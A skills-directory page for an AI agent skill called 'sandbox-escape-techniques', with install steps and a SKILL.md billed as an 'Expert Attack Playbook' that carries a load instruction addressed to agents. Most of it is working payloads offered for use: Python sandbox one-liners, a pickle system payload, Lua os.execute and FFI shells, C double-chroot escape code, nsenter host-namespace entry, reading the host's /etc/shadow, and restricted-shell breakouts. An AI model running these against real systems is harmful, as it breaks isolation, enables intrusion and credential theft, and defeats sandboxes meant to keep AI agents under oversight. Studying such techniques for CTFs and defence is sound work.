sandbox-escape-techniques
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill sandbox-escape-techniques- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads sandbox-escape-techniques automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Sandbox Escape — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
0. RELATED ROUTING
- browser-exploitation-v8 — V8 exploitation for renderer RCE before browser sandbox escape
- container-escape-techniques — Docker/container specific escape techniques
- kernel-exploitation — kernel exploit for container/namespace escape
- linux-privilege-escalation — post-escape privilege escalation
Advanced References
- PYTHON_SANDBOX_ESCAPE.md — Full pyjail methodology:
__builtins__recovery, keyword bypass, AST bypass, pickle escape - SECCOMP_BYPASS.md — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining
1. SANDBOX TYPE IDENTIFICATION
| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, exec/eval available | CTF, online judges, Jupyter |
| Lua sandbox | No os, io modules; restricted metatables | Game scripting, config |
| seccomp | syscall filtering, prctl(PR_SET_SECCOMP) | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited /proc access | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |
2. PYTHON SANDBOX ESCAPE (OVERVIEW)
See PYTHON_SANDBOX_ESCAPE.md for full methodology.
Quick Reference
| Technique | One-Liner |
|---|---|
| Subclass walk | ().__class__.__bases__[0].__subclasses__() → find os._wrap_close → __init__.__globals__['system'] |
| Import recovery | __builtins__.__import__('os').system('sh') |
| getattr bypass | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr construction | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle escape | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| Code object | Construct types.CodeType(...) then exec() with custom bytecode |
3. LUA SANDBOX ESCAPE
Restricted Environment Bypass
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
Lua FFI Escape (LuaJIT)
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry
4. CHROOT ESCAPE
| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | fchdir(leaked_fd) then chroot(".") |
| Double chroot | Process is root inside chroot | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c) |
| /proc access | /proc mounted inside chroot | /proc/1/root/ → access real root filesystem |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |
Double Chroot Escape
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);
5. BROWSER SANDBOX ESCAPE (OVERVIEW)
Chrome Sandbox Architecture (Linux)
Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)
Escape Vectors
| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |
Mojo Interface Attack Pattern
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access
6. NAMESPACE ESCAPE
User Namespace Escalation
# If allowed to create user namespaces (unprivileged):
unshare -Urm # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
PID Namespace Escape
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
Mount Namespace Tricks
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/ # host root filesystem
cat /proc/1/root/etc/shadow # read host files
# If can mount:
mount -t proc proc /proc
# Access host /proc entries
7. RBASH / RESTRICTED SHELL ESCAPE
| Technique | Method |
|---|---|
| vi/vim | :!/bin/bash or :set shell=/bin/bash then :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| Environment | export PATH=/usr/bin:/bin; /bin/bash |
| cp | Copy /bin/bash to allowed directory |
| git | git help config → then !/bin/bash in pager |
| Encoding | `echo /bin/bash |
8. DECISION TREE
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)
FAQ
What does the sandbox-escape-techniques skill do?
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
How do I install sandbox-escape-techniques?
Run npx skills add https://github.com/yaklang/hack-skills --skill sandbox-escape-techniques in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/sandbox-escape-techniques/ (personal) or .claude/skills/sandbox-escape-techniques/ (project).
Which AI agents can use sandbox-escape-techniques?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is sandbox-escape-techniques safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains sandbox-escape-techniques?
It is published by yaklang in yaklang/hack-skills. It has 3,536 recorded installs.
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